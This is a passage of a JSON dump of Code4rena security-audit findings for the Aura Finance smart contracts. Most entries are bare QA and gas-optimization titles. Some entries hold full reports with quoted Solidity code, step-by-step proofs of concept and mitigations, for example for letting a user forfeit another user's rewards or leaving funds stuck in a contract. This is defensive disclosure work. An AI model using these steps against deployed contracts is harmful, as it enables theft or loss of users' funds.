= newRewardPerToken.to96(); ``` Note this attack is described when we have a low `totalSupply`. However it is also possible to apply this attack on a larger `totalSupply` when there are reward tokens which have decimal places larger than 18 or tokens which such as SHIB which have small token value and so many of the tokens can be bought for cheap. ## Recommended Mitigation Steps To mitigation this issue it is recommended to increase the size of the `rewardPerTokenStored`. Since updating this value will require another slot to be used we recommend updating this to either `uint256` or to update both `rewardRate` and `rewardPerTokenStored` to be `uint224`. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/260", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/259", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/257", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/255", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/254", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/253", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/252", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/251", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/249", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/247", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/246", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Reward may be locked forever if user doesn't claim reward for a very long time such that too many epochs have been passed", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/240", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved", "sponsor acknowledged"], "target": "2022-05-aura-findings", "body": "Reward may be locked forever if user doesn't claim reward for a very long time such that too many epochs have been passed"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/235", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Improperly Skewed Governance Mechanism", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/232", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor disputed"], "target": "2022-05-aura-findings", "body": "Improperly Skewed Governance Mechanism"}, {"title": "_getReward should not be public and you should add nonReentrant modifier to your _getReward function", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/230", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "resolved", "sponsor acknowledged"], "target": "2022-05-aura-findings", "body": "_getReward should not be public and you should add nonReentrant modifier to your _getReward function"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/227", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/226", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/219", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/218", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/217", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/216", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/215", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/214", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/213", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/212", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor acknowledged"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/208", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/207", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/206", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/205", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/204", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/203", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "massUpdatePools() is susceptible to DoS with block gas limit", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/197", "labels": ["bug", "duplicate", "2 (Med Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-05-aura-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-aura/blob/main/convex-platform/contracts/contracts/ConvexMasterChef.sol#L178-L183 # Vulnerability details ## Impact massUpdatePools() is a public function and it calls the updatePool() function for the length of poolInfo. Hence, it is an unbounded loop, depending on the length of poolInfo. If poolInfo.length is big enough, block gas limit may be hit. ## Proof of Concept https://consensys.github.io/smart-contract-best-practices/attacks/denial-of-service/#dos-with-block-gas-limit ## Tools Used Manual analysis ## Recommended Mitigation Steps I suggest to limit the max number of loop iterations to prevent hitting block gas limit. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/194", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/193", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/192", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/191", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/187", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Locking up AURA Token does not increase voting power of individual", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/186", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-05-aura-findings", "body": "Locking up AURA Token does not increase voting power of individual"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/184", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/183", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Users can grief reward distribution", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/180", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved", "sponsor acknowledged"], "target": "2022-05-aura-findings", "body": "Users can grief reward distribution"}, {"title": "`AuraBalRewardPool` charges a penalty to all users in the pool if the `AuraLocker` has been shut down", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/179", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-05-aura-findings", "body": "`AuraBalRewardPool` charges a penalty to all users in the pool if the `AuraLocker` has been shut down"}, {"title": "Users may lose rewards to other users if rewards are given as fee-on-transfer tokens", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/176", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-05-aura-findings", "body": "Users may lose rewards to other users if rewards are given as fee-on-transfer tokens"}, {"title": "AuraVestedEscrow's fund can be run with empty amounts", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/174", "labels": ["bug", "disagree with severity", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "AuraVestedEscrow's fund can be run with empty amounts"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/173", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/172", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/170", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "Reused Interface names", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/169", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "Reused Interface names"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/167", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/164", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/161", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/159", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/158", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "AuraLocker kick reward only takes last locked amount into consideration, instead of whole balance", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/156", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-05-aura-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-aura/blob/main/contracts/AuraLocker.sol#L404 # Vulnerability details The issue occurs in AuraLocker, when expired locks are processed via kicking, and if all the user locks have expired. In this scenario, to calculate the kick reward, `_processExpiredLocks` multiplies the last locked amount by the number of epochs between the last lock's unlock time and the current epoch. A comment in this section mentions `\"wont have the exact reward rate that you would get if looped through\"`. However, there's no reason not to multiply *user's whole locked balance* by the number of epochs since the *last lock's* unlock time, *instead of only the last locked amount*. While this will still not be as accurate as looping through, this will give a more accurate kick reward result, which is still bounded by the full amount that would have been calculated if we had looped through. ## Impact The reward calculation is inaccurate and lacking for no reason. Kickers receive less rewards than they should. Giving them a bigger, more accurate reward, will incentivize them better. ## Proof of Concept [This](https://github.com/code-423n4/2022-05-aura/blob/main/contracts/AuraLocker.sol#L396:#L405) is the section that calculates the kick reward if all locks have expired: ``` //check for kick reward //this wont have the exact reward rate that you would get if looped through //but this section is supposed to be for quick and easy low gas processing of all locks //we'll assume that if the reward was good enough someone would have processed at an earlier epoch if (_checkDelay > 0) { uint256 currentEpoch = block.timestamp.sub(_checkDelay).div(rewardsDuration).mul(rewardsDuration); uint256 epochsover = currentEpoch.sub(uint256(locks[length - 1].unlockTime)).div(rewardsDuration); uint256 rRate = AuraMath.min(kickRewardPerEpoch.mul(epochsover + 1), denominator); reward = uint256(locks[length - 1].amount).mul(rRate).div(denominator); } ``` This flow is for low gas processing, so the function is not looping through all the locks (unlike the flow where some locks have not expired yet). In this flow, the function is just calculating the reward for the last lock. Instead of doing this, it can multiply the *total amount locked by the user* (`locked`, already saved) by the *number of epochs between the last unlock time and current epoch*. The reward will still be smaller than if we had looped through all the rewards (since then each lock amount would be multiplied by more than just the last lock's number of expired epochs). But it would be more accurate and give better incentive for kicking. ## Recommended Mitigation Steps Change the last line in the code above to: ``` reward = uint256(locked).mul(rRate).div(denominator); ``` This will keep the low gas consumption of this flow, while giving a more accurate result. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/154", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/153", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "ConvexMasterChef: When _lpToken is cvx, reward calculation is incorrect", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/151", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-05-aura-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-aura/blob/4989a2077546a5394e3650bf3c224669a0f7e690/convex-platform/contracts/contracts/ConvexMasterChef.sol#L96-L118 # Vulnerability details ## Impact In the ConvexMasterChef contract, a new staking pool can be added using the add() function. The staking token for the new pool is defined using the _lpToken variable. However, there is no additional checking whether the _lpToken is the same as the reward token (cvx) or not. ``` function add( uint256 _allocPoint, IERC20 _lpToken, IRewarder _rewarder, bool _withUpdate ) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push( PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accCvxPerShare: 0, rewarder: _rewarder }) ); } ``` When the _lpToken is the same token as cvx, reward calculation for that pool in the updatePool() function can be incorrect. This is because the current balance of the _lpToken in the contract is used in the calculation of the reward. Since the _lpToken is the same token as the reward, the reward minted to the contract will inflate the value of lpSupply, causing the reward of that pool to be less than what it should be. ``` function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 cvxReward = multiplier .mul(rewardPerBlock) .mul(pool.allocPoint) .div(totalAllocPoint); //cvx.mint(address(this), cvxReward); pool.accCvxPerShare = pool.accCvxPerShare.add( cvxReward.mul(1e12).div(lpSupply) ); pool.lastRewardBlock = block.number; } ``` ## Proof of Concept https://github.com/code-423n4/2022-05-aura/blob/4989a2077546a5394e3650bf3c224669a0f7e690/convex-platform/contracts/contracts/ConvexMasterChef.sol#L96-L118 https://github.com/code-423n4/2022-05-aura/blob/4989a2077546a5394e3650bf3c224669a0f7e690/convex-platform/contracts/contracts/ConvexMasterChef.sol#L186-L206 ## Tools Used None ## Recommended Mitigation Steps Add a check that _lpToken is not cvx in the add function or mint the reward token to another contract to prevent the amount of the staked token from being mixed up with the reward token. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/150", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/148", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": " ConvexMasterChef: When using add() and set(), it should always call massUpdatePools() to update all pools", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/147", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-05-aura-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-aura/blob/4989a2077546a5394e3650bf3c224669a0f7e690/convex-platform/contracts/contracts/ConvexMasterChef.sol#L96-L138 # Vulnerability details ## Impact Same as IDX-003 in https://public-stg.inspex.co/report/Inspex_AUDIT2021024_LuckyLion_Farm_FullReport_v2.0.pdf The totalAllocPoint variable is used to determine the portion that each pool would get from the total reward, so it is one of the main factors used in the rewards calculation. Therefore, whenever the totalAllocPoint variable is modified without updating the pending reward first, the reward of each pool will be incorrectly calculated. For example, when _withUpdate is false, in the add() shown below, the totalAllocPoint variable will be modified without updating the rewards (massUpdatePools()). ``` function add( uint256 _allocPoint, IERC20 _lpToken, IRewarder _rewarder, bool _withUpdate ) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push( PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accCvxPerShare: 0, rewarder: _rewarder }) ); } ``` ## Proof of Concept https://github.com/code-423n4/2022-05-aura/blob/4989a2077546a5394e3650bf3c224669a0f7e690/convex-platform/contracts/contracts/ConvexMasterChef.sol#L96-L138 ## Tools Used None ## Recommended Mitigation Steps Removing the _withUpdate variable in the add() and set() functions and always calling the massUpdatePools() function before updating totalAllocPoint variable "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/141", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/140", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/134", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/131", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/130", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/129", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "Reward can be vested even after endTime", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/126", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved", "sponsor acknowledged"], "target": "2022-05-aura-findings", "body": "Reward can be vested even after endTime"}, {"title": "Duplicate LP token could lead to incorrect reward distribution", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/124", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-05-aura-findings", "body": "Duplicate LP token could lead to incorrect reward distribution"}, {"title": "CrvDepositorWrapper.sol relies on oracle that isn't frequently updated", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/115", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-05-aura-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-aura/blob/4989a2077546a5394e3650bf3c224669a0f7e690/contracts/CrvDepositorWrapper.sol#L56-L65 # Vulnerability details ## Impact Unpredictable slippage, sandwich vulnerability or frequent failed transactions ## Proof of Concept CrvDepostiorWrapper uses the TWAP provided by the 20/80 WETH/BAL. The issue is that this pool has only handled ~15 transactions per day in the last 30 days, which means that the oracle frequently goes more than an hour without updating. Each time a state changing operation is called, the following code in the balancer pool takes a snapshot of the pool state BEFORE any operation changes it: https://github.com/balancer-labs/balancer-v2-monorepo/blob/80e1a5db7439069e2cb53e228bce0a8a51f5b23e/pkg/pool-weighted/contracts/oracle/OracleWeightedPool.sol#L156-L161 This could result in the price of the oracle frequently not reflecting the true value of the assets due to infrequency of update. Now also consider that the pool has a trading fee of 2%. Combine an inaccurate oracle with a high fee pool and trades can exhibit high levels of \"slippage\". To account for this outputBps in AuraStakingProxy needs to be set relatively low or risks frequent failed transactions when calling distribute due to slippage conditions not being met. The lower outputBps is set the more vulnerable distribute becomes to sandwich attacks. ## Tools Used ## Recommended Mitigation Steps Consider using chainlink oracles for both BAL and ETH to a realtime estimate of the LP value. A chainlink LP oracle implementation can be found in the link below: https://blog.alphaventuredao.io/fair-lp-token-pricing/ "}, {"title": " 256 to 112 could cause a wrong lock amount", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/114", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-05-aura-findings", "body": " 256 to 112 could cause a wrong lock amount"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/109", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "User will lose funds", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/108", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-05-aura-findings", "body": "# Lines of code\r \r https://github.com/code-423n4/2022-05-aura/blob/main/contracts/AuraClaimZap.sol#L224-L226\r \r \r # Vulnerability details\r \r ## Impact\r It was observed that User will lose funds due to missing else condition\r \r ## Proof of Concept\r \r 1. User call claimRewards at ClaimZap.sol#L103 with Options.LockCvx as false\r 2. claimRewards internally calls _claimExtras\r 3. Everything goes good until AuraClaimZap.sol#L218\r \r ```\r if (depositCvxMaxAmount > 0) {\r uint256 cvxBalance = IERC20(cvx).balanceOf(msg.sender).sub(removeCvxBalance);\r cvxBalance = AuraMath.min(cvxBalance, depositCvxMaxAmount);\r if (cvxBalance > 0) {\r //pull cvx\r IERC20(cvx).safeTransferFrom(msg.sender, address(this), cvxBalance);\r if (_checkOption(options, uint256(Options.LockCvx))) {\r IAuraLocker(locker).lock(msg.sender, cvxBalance);\r }\r }\r }\r ```\r \r 4. Since user cvxBalance>0 so cvxBalance is transferred from user to the contract.\r 5. Now since Options.LockCvx was set to false in options so if (_checkOption(options, uint256(Options.LockCvx))) does not evaluate to true and does not execute\r 6. This means User cvx funds are stuck in contract\r \r ## Recommended Mitigation Steps\r The condition should check if user has enabled lock for cvx, otherwise cvx should not be transferred from user\r \r ```\r if (depositCvxMaxAmount > 0 && _checkOption(options, uint256(Options.LockCvx))) {\r uint256 cvxBalance = IERC20(cvx).balanceOf(msg.sender).sub(removeCvxBalance);\r cvxBalance = AuraMath.min(cvxBalance, depositCvxMaxAmount);\r if (cvxBalance > 0) {\r //pull cvx\r IERC20(cvx).safeTransferFrom(msg.sender, address(this), cvxBalance);\r \r IAuraLocker(locker).lock(msg.sender, cvxBalance);\r }\r }\r ```\r \r "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/106", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/100", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/99", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "Minting is completely impossible due to wrongful forking of convex", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/97", "labels": ["bug", "duplicate", "disagree with severity", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Minting is completely impossible due to wrongful forking of convex"}, {"title": "Penalty value lost if `penaltyForwarder` is address(0)", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/95", "labels": ["bug", "disagree with severity", "G (Gas Optimization)", "resolved", "sponsor acknowledged"], "target": "2022-05-aura-findings", "body": "Penalty value lost if `penaltyForwarder` is address(0)"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/92", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/83", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/82", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/66", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/59", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/57", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "User can forfeit other user rewards", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/50", "labels": ["bug", "3 (High Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-05-aura-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-aura/blob/main/contracts/ExtraRewardsDistributor.sol#L127 # Vulnerability details ## Impact User can forfeit other user rewards by giving a higher _startIndex in getReward function ## Proof of Concept 1. Assume User B has not received any reward yet so that his userClaims[_token][User B]=0 2. User A calls getReward function with _account as User B and _startIndex as 5 3. This eventually calls _allClaimableRewards at ExtraRewardsDistributor.sol#L213 which computes epochIndex =5>0?5:0 = 5 4. Assuming tokenEpochs is 10 and latestEpoch is 8, so reward will computed from epoch 5 till epoch index 7 and _allClaimableRewards will return index as 7 5. _getReward will simply update userClaims[_token][User B] with 7 6. This is incorrect because as per contract User B has received reward from epoch 0-7 even though he only received reward for epoch 5-7 ## Recommended Mitigation Steps Do not allow users to call getReward function for other users "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/47", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/45", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/44", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/43", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Gas Optimization", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/42", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-05-aura-findings", "body": "Gas Optimization"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/41", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": 